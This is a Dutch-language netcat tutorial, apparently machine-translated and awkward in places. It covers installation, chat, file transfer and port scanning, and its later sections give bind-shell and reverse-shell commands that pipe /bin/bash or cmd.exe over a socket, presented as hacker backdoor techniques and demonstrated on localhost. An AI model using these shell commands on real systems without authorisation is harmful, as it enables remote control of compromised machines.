Netcat

Netcat is een terminal applicatie die vergelijkbaar is met het telnet programma, maar heeft veel meer functies.

Het is een “power version” van het traditionele telnet programma.

afgezien van de basis telnet functies kan het verschillende andere dingen doen, zoals het maken van socket servers om te luisteren naar inkomende verbindingen op poorten, het overbrengen van bestanden van de terminal etc.

dus het is een klein gereedschap dat vol zit met veel functies., Daarom wordt het “Zwitsers-zakmes voor TCP/IP”genoemd.

De netcat handleiding definieert netcat als

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

dus in principe is netcat een hulpmiddel om bidirectionele netwerkcommunicatie te doen over de TCP/UDP protocollen.

technisch gesproken kan netcat fungeren als een socket server of client en tegelijkertijd communiceren met andere programma ‘ s die gegevens verzenden en ontvangen via het netwerk.

een dergelijke definitie klinkt te algemeen en maakt het moeilijk om te begrijpen wat dit gereedschap precies doet en waarvoor het nuttig is., Dit kan alleen worden begrepen door het te gebruiken en ermee te spelen.

Ncat

dus het eerste wat je moet doen is netcat op je machine instellen. Netcat komt in verschillende smaken. Betekent dat het beschikbaar is bij meerdere leveranciers.

maar de meeste hebben een vergelijkbare functionaliteit. Op Ubuntu zijn er 3 pakketten genaamd netcat-openbsd, netcat-traditional en ncat.

mijn voorkeursversie is ncat. Ncat is ontwikkeld door het Nmap team is de beste van alle netcats beschikbaar en vooral zijn cross-platform en werkt zeer goed op windows.,

projectwebsite:

NCAT installeren op Windows

Windows-versie van netcat kan worden gedownload van

download en pak de bestanden ergens die geschikt zijn.

of download NCAT windows versie

installeer Ncat op Ubuntu / Linux Mint / Linux

Ubuntu syntaptic package heeft netcat-openbsd en netcat-traditional pakketten beschikbaar. Installeer ze allebei. Nmap wordt ook geleverd met een netcat implementatie genaamd ncat. Installeer dat ook.,

Installeer op Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

om de implementatie van netcat-openbsd te gebruiken, Gebruik de opdracht” nc”.
Voor het gebruik van netcat-traditionele implementatie gebruik “nc.traditioneel & amp; quot; commando
om nmap ncat te gebruiken gebruik het & amp; quot; NCAT & amp; quot; commando.

netcat Commando voorbeelden

In de volgende tutorial gaan we ze allemaal in verschillende voorbeelden op verschillende manieren gebruiken.

Telnet

het allereerste dat netcat kan worden gebruikt is een telnet-programma. Eens kijken hoe.

$ nc -v google.com 80

nu is netcat verbonden met google.com op poort 80 en het is tijd om een bericht te sturen., Laten we proberen om de index pagina op te halen. Voor dit type ” GET index.html HTTP / 1.1 ” en druk tweemaal op de Enter-toets. Onthoud twee keer.

De uitvoer van google.com is ontvangen en echode op de terminal.

Simple socket server

om een simple socket server te openen, typt u het volgende commando.

$ nc -l -v 1234

het bovenstaande commando betekent: netcat luisteren naar tcp poort 1234. De optie-v geeft uitgebreide uitvoer voor een beter begrip., Probeer nu vanuit een andere terminal verbinding te maken met poort 1234 met het telnet commando als volgt:

$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong

na het verbinden sturen we een testbericht zoals abc en ting tong naar de netcat socket server. De netcat socket server zal de gegevens ontvangen van de Telnet client echo.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

Dit is een compleet chatsysteem. Typ iets in netcat terminal en het zal verschijnen in telnet terminal ook. Dus deze techniek kan worden gebruikt voor het chatten tussen 2 machines.,

complete ECHO Server

Ncat met de optie-c kan worden gebruikt om een echo server te starten. Bron

Start de echo-server met behulp van ncat als volgt

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

nu Vanaf een andere terminal verbinden met behulp van telnet en Typ iets. Het zal worden teruggestuurd met “” prefixed.
De netcat-openbsd versie heeft niet de optie-c. Vergeet niet om altijd de-v optie te gebruiken voor uitgebreide uitvoer.

opmerking: Netcat kan worden verteld om de gegevens op te slaan in een bestand in plaats van het te echoën naar de terminal.,

$ nc -l -v 1234 > data.txt

maak UDP-Server

Netcat werkt ook met udp-poorten. Om een netcat-server te starten met behulp van udp-poorten gebruikt u de optie-u

$ nc -v -ul 7000

UDP Client

verbinding maken met deze server met behulp van netcat vanaf een andere terminal

$ nc localhost -u 7000

nu kunnen beide terminals met elkaar chatten.

bestandsoverdracht

een heel bestand kan worden overgedragen met netcat. Hier is een snel voorbeeld.

Eén machine a-Send bestand

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

in het bovenstaande commando leest en voert het cat commando de inhoud van happy uit.txt., De output wordt niet doorgestuurd naar de terminal, in plaats daarvan wordt doorgeleid of gevoed naar ncat die een socket server op poort 5555 heeft geopend.

op machine b-Receive File

$ ncat localhost 5555 > happy_copy.txt

in het bovenstaande commando zal ncat verbinding maken met localhost op poort 5555 en wat het ontvangt zal worden geschreven naar happy_copy.txt

nu happy_copy.txt zal een kopie van happy zijn.txt aangezien de gegevens worden verzonden over poort 5555 is de inhoud van happy.txt in het vorige commando.

netcat stuurt het bestand alleen naar de eerste client die er verbinding mee maakt. Daarna is het voorbij.,
En nadat de eerste client de verbinding sluit, zal netcat server ook de verbinding sluiten.

Poortscanning

Netcat kan ook worden gebruikt voor poortscanning. Dit is echter geen correct gebruik van netcat en een meer toepasbare tool zoals nmap zou gebruikt moeten worden.

De parameter ” – n “voorkomt DNS lookup,”- z “zorgt ervoor dat nc geen gegevens van de server ontvangt, en”- w 1 ” zorgt ervoor dat de verbinding wordt verbroken na 1 seconde inactiviteit.

Remote Shell / Backdoor

Ncat kan worden gebruikt om een basic shell op een remote systeem op een poort te starten zonder de noodzaak van ssh., Hier is een snel voorbeeld.

$ ncat -v -l -p 7777 -e /bin/bash

het bovenstaande zal een server starten op poort 7777 en zal alle inkomende invoer doorgeven aan bash commando en de resultaten zullen worden teruggestuurd. Het commando zet in principe het bash programma om in een server. Dus netcat kan worden gebruikt om elk proces om te zetten in een server.

maak verbinding met deze Bash shell met behulp van nc vanaf een andere terminal

$ nc localhost 7777

Probeer nu een commando uit te voeren zoals help , ls , pwd etc.

Windows

Op windows-machine de cmd.,exe (dos prompt program) wordt gebruikt om een soortgelijke shell te starten met behulp van netcat. De syntaxis van het commando is hetzelfde.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

nu kan een andere console verbinding maken met behulp van het telnet commando

hoewel netcat wel kan worden gebruikt om externe shells in te stellen, is het niet nuttig om een interactieve shell op een extern systeem te krijgen omdat in de meeste gevallen netcat niet op een extern systeem zou worden geïnstalleerd.

de meest effectieve methode om een shell op een machine op afstand te krijgen met behulp van netcat is door reverse shells te maken.,

Reverse Shells

Dit is de krachtigste eigenschap van netcat waarvoor het het meest wordt gebruikt door hackers. Netcat wordt gebruikt in bijna alle reverse shell technieken om de omgekeerde verbinding van shell programma van een gehackt systeem te vangen.

Reverse telnet

laten we eerst een voorbeeld nemen van een eenvoudige reverse telnet verbinding. In ordinate telnet connection maakt de client verbinding met de server om een communicatiekanaal te starten.

Your system runs (# telnet server port_number) =============> Server

met de bovenstaande techniek kunt u nu verbinding maken met poort 80 van de server om een webpagina op te halen., Maar een hacker is geïnteresseerd in het krijgen van een command shell. Het is de opdrachtprompt van windows of de terminal van linux. De command shell geeft de ultieme controle over het remote systeem. Nu is er geen service die draait op de externe server waarmee u verbinding kunt maken en een command shell kunt krijgen.

dus als een hacker in een systeem hackt, moet hij een command shell krijgen. Omdat het niet direct mogelijk is, is de oplossing om een omgekeerde schaal te gebruiken. In een reverse shell initieert de server een verbinding met de machine van de hacker en geeft een command shell.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

om te wachten op binnenkomende verbindingen, moet een lokale socket listener worden geopend. Netcat/ncat kan dit doen.
eerst moet een netcat server gestart worden op een lokale machine of op de computer van de hacker.

machine a

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

het bovenstaande zal een socket server (listener) starten op poort 8888 op de lokale machine/hacker ‘ s machine.

nu moet een reverse shell worden gestart op de doelmachine/gehackte machine. Er zijn een aantal manieren om reverse shells te lanceren.,

om een methode te laten werken, moet de hacker in staat zijn om willekeurige commando ‘ s uit te voeren op het systeem of moet hij in staat zijn om een bestand te uploaden dat kan worden uitgevoerd door te openen vanuit de browser (zoals een php script).

in dit voorbeeld doen we geen van de bovengenoemde dingen. We zullen netcat ook op de server draaien om een reverse command shell te gooien om het concept te demonstreren. Dus netcat moet worden geïnstalleerd op de server of doel machine.,

Machine b:

$ ncat localhost 8888 -e /bin/bash

Dit commando zal verbinding maken met machine A op poort 8888 en de uitvoer van bash invoeren die effectief een shell geeft aan machine A. Nu kan machine A elk commando uitvoeren op machine B.

Machine a

In een echt hacking/penetration test scenario is het niet mogelijk om netcat op de doelmachine uit te voeren. Daarom worden andere technieken gebruikt om een shell te creëren. Deze omvatten het uploaden van reverse shell php scripts en het uitvoeren van hen door ze te openen in de browser. Of de lancering van een buffer Overflow exploit om reverse shell payload uit te voeren.,

conclusie

dus in de bovenstaande voorbeelden zagen we hoe netcat te gebruiken voor verschillende netwerkactiviteiten zoals telnet, reverse shells etc. Hackers gebruiken het meestal voor het maken van snelle reverse shells.

in deze tutorial hebben we een aantal basis-en veelgebruikte toepassingen van netcat behandeld. Bekijk het Wikipedia-artikel voor meer informatie over wat netcat nog meer kan doen.

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *